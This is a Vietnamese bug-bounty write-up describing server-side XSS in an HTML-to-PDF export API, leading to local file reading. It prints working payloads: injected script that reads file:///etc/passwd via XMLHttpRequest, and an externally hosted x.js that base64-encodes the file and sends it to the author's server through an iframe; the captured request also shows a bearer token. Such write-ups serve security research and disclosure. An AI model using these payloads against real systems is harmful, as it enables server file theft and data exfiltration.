XSS on server-side

hkln1
tradahacking
Published in
5 min readJan 25, 2018
  • Để khởi động cho năm mới, tôi quyết định thử thách bản thân bằng cách chọn chơi những chương trình public bug bounty. Tôi xem đây là cơ hội để rèn luyện tính kiên nhẫn. Tôi biết đi theo hướng này sẽ rất khó khăn, các chương trình public thường sẽ không còn những lỗi low hanging fruit, tôi phải thật sự kiên nhẫn và tập cho mình cách suy nghĩ, tư duy khác.
  • Sau khi xem một loạt các chương trình, tôi quyết định chọn 1 chương trình mà tôi đã tham gia cách đây khá lâu. Như thường lệ, cách tôi tiếp cận những target kiểu này là vào xem các blogs, release notes của target, google những thông tin liên quan đến các chức năng mà họ mới phát triển. Recon một hồi, tôi xác định có 4 chức năng mới. Tôi lập tức lao vào test các kiểu, nhưng không có một chút hi vọng nào. Có vẻ sau một thời gian dài tổ chức, họ đã có kinh nghiệm… Các lỗi phổ biến kiểu SQLi, IDOR, XSS trên các chức năng mới đã tuyệt chủng! Không nản, tôi lập tức mở file Excel lưu lại các url endpoint/parameter của chương trình mà lúc trước tôi đã test qua, rồi đi lại hết các function của website để đối chiếu với nó, với hi vọng tìm được một endpoint nào bỏ sót. Tuy nhiên, kết quả vẫn vô vọng. Với tâm trạng chán chường, tôi chuẩn bị gập laptop đi ngủ… Đột nhiên tôi nhìn thấy có 1 biểu tượng dấu cộng phía dưới bên phải trang. Tôi nhớ lúc trước đâu có chức năng này đâu. Sau vài giây suy nghĩ, tôi quyết định cho mình 1 cơ hội cuối, nếu không được thì sẽ lập tức đi ngủ… Kiểu giống như mua vé số gần đến giờ xổ :D. Nó là một chức năng cho phép mình export ra file pdf profile của ứng viên tuyển dụng.
  • POST /api/v2/htmlToPdf HTTP/1.1
    Host: xxx.test.com
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/json
    Authorization: Bearer 1ff1f111336e47a0cd07a46d519469ffd9c359f4fd1162763db4b7abb6c4dda5
    X-Clipper-User: 294175
    X-Clipper-Account: 160632
    X-Clipper-Version: 3.8.0
    Referer: https://bugcrowd183.test.com/backend/cosmos
    Content-Length: 149594
    Origin: https://bugcrowd183.test.com
    Connection: close
  • {“content”:”<div class=\”printout\”><svg style=\”display:none;\”><symbol id=\”test-logo\” viewBox=\”0 0 100 17\”><path fill=\”#FEFEFE\” fill-rule=\”evenodd\” d=\”M74.974 9.02v1.445c-.73.003–1.514.09–1.912.584-.392.48-.277 1.19.202 1.6.33.28.788.36 1.21.36.174 0 .34-.01.5-.04v1.49c-.108.01-.217.01-.327.01–2.46.04–3.922–2.08–3.397–3.68.222-.68.798–1.27 1.802–1.56.602-.18 1.274-.22 1.922-.23zm0–4.04v1.474c-.433-.003-.864.13–1.216.41-.337.267-.605.684-.742 1.273h-1.563c.192–2.06 1.78–3.208 3.52–3.156zm0 9.492v-1.494c1.113-.165 1.838-.903 2.097–2.177.03-.1.04-.21.05-.31h-1.13c-.28 0-.64-.02–1-.02V9.02c.32-.006.63-.002.93-.002h1.16c.11-.986-.26–1.715-.83–2.14-.36-.275-.81-.422–1.25-.424V4.98c.54.017 1.1.15 1.64.41 1.38.668 2.16 2.136 2.18 3.91.02.86-.07 1.744-.34 2.534-.55 1.598–1.86 2.507–3.47 2.638zm9.055–9.46v1.46h-.1c-.22
    — — -snip — — -
    “filename”:”ralph_cowling_01_2018_cv”,”profile_id”:”e8c7d955–52bf-4ffc-8b00–88ca8611f28a”,”options”:{“footer”:”clipper”,”footerSpacing”:8,”marginTop”:10,”marginBottom”:22,”marginLeft”:0,”marginRight”:0,”encoding”:”UTF-8",”title”:””}}
  • Chả có gì đặc biệt. Tuyệt vọng, tôi gập laptop đi ngủ. Trằn trọc mãi không ngủ được, trong đầu cứ ám ảnh cái request đó. Thấy nó có gì đó có vấn đề mà không biết là vấn đề gì =)). Lúc này đã là 2:30 AM, thôi thì ko ngủ được nên tôi mở máy tính ra xem lại nó. Lúc này tự nhiên giống như có ai nhập, tôi phát hiện ra một manh mối khủng khiếp. Giá trị trong parameter “content” là một HTML document (data dài lắm, tôi đã snip bớt nó ở request trên). Sau khi submit, server sẽ convert HTML document này thành pdf (đúng như các đặt tên của endpoint — htmltoPdf). Không suy nghĩ tôi liền quốc cái payload:

{“content”:”<div class=\”printout\”><h1>HEHEHE</h1><svg style=\”display:none;\”>…..snip……

  • Truy cập vào link trong response trả về để download file pdf. Mở ra, Woooo nó thật sự render <h1>HEHEHE</h1>
  • Tôi thử tiếp

{“content”:”<div class=\”printout\”><div id=\”x\”></div><script>document.getElementById(\”x\”).innerHTML=\”ddd\”</script><svg style=\”display:none;\”>…..snip……

  • OMG! Thật không thể tin được, nó hiểu và render cả javascript kìa. Lúc này, trong đầu tôi chợt nhớ có đọc đâu đó một kỹ thuật dùng XSS để đọc file trên server. Search một hồi, cuối cùng cũng ra http://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html. Thank @iamnoooob. Không suy nghĩ, tôi tiếp tục thực hiện payload như trong writeup với hi vọng tràn trề :D
  • {“content”:”<div class=\”printout\”><script>x=new XMLHttpRequest();x.onload=function(){document.write(this.responseText)};x.open(\”GET\”,\”file:///etc/passwd\”);x.send();</script> <svg style=\”display:none;\”>…..snip……
  • Mở file ra… Cái beep gì thế! éo thấy cái gì hết :| Why ? Why ? Why ? Lập tức tôi xuất hết các tuyệt chiêu, từ các kỹ thuật bypass LFI đến các kỹ thuật bypass XSS, vẫn không thấy nội dung đâu hết :((…Ngồi thừ ra, tôi suy nghĩ mãi không hiểu, tại sao các đoạn mã HLML, javascript nó đều render được hết. Kết thúc có hậu cho một kịch bản đẹp phải là nội dung file passwd chứ! Không bỏ cuộc, tôi lập tức suy nghĩ lại từ đầu, xem mình đã bỏ sót manh mối gì, xem liệu mình còn trường hợp nào chưa test kỹ không. Không đọc được file thì chỉ có các trường hợp sau: một là thằng viết ứng dụng nó filter cmnr, mà tôi thì chưa thể thọt được nó. Hai là payload tôi viết sai (cái này là không thể vì tôi đã test trên local rồi). Ba là đéo có file này trên server. Khoan, khoan đến lúc này trong đầu tôi chợt lóe lên “lỡ server nó chạy là Window thì sao, mà nếu là Window thì làm éo gì có file passwd mà đọc…”
  • Thế là giở các tuyệt kỹ recon bí truyền. Đến lúc này tôi có thể khẳng định 60%-70% nó đang chạy Linux. Nếu nó chạy Linux thì không phải là trường hợp thứ ba. Vậy phải đi theo hướng giải quyết trường hợp một. Câu hỏi đặt ra: làm sao để bypass filter ? Bây giờ trời đã gần sáng, 3 tiếng nữa là tôi phải đi làm. Nếu bây giờ mà tiếp tục, chắc ngày mai nghỉ làm quá :D. Thôi đi ngủ, mai nghiên cứu tiếp vậy.
  • Sáng hôm sau, trên đường tới công ty, tôi vừa đi vừa nghĩ, nếu nó không render payload internal thì mình đặt payload ở server của mình (external) rồi cho nó gọi tới, xem có chạy không. Đại loại:

{“content”:”<div class=\”printout\”><script src=\”http://hkln1.ninja/x.js\"></script> <svg style=\”display:none;\”>…..snip……

  • Nội dung file x.js:

function reqListener () {
var b64 = btoa(this.responseText);
document.write(‘<iframe src=”http://hkln1.ninja?data='+b64+'"></iframe>');
}
var req = new XMLHttpRequest();
req.addEventListener(“load”, reqListener);
req.open(“GET”, “file:///etc/passwd”);
req.send();

  • Vào log xem, BOOOOOOM !!!

--

--